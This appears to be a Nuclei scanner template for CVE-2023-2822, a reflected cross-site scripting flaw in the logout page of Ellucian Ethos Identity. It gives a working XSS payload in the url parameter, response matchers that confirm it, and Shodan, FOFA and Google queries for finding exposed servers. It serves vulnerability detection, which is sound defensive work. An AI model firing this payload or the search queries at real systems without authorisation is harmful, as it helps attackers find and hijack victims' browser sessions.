id: CVE-2023-2822

info:
  name: Ellucian Ethos Identity CAS - Cross-Site Scripting
  author: Guax1
  severity: medium
  description: |
    A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
  reference:
    - https://medium.com/@cyberninja717/685bb1675dfb
    - https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
    - https://vuldb.com/?ctiid.229596
    - https://vuldb.com/?id.229596
    - https://github.com/cberman/CVE-2023-2822-demo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2822
    cwe-id: CWE-79
    epss-score: 0.80995
    epss-percentile: 0.99173
    cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ellucian
    product: ethos_identity
    shodan-query:
      - html:"Ellucian Company"
      - http.html:"ellucian company"
    fofa-query: body="ellucian company"
    google-query: "login with ellucian ethos identity"
  tags: cve2023,cve,cas,xss,ellucian,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'Identity Server'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d03bc3aa209026f43c13e0d2e6f8258d787ed3b2bcd40ae794d9ee024ca03a73022100eba6cc7419f9c611616a51e97394174259a3a59768aa12e4d43a644a79a7ec1e:922c64590222798bb761d5b6d8e72950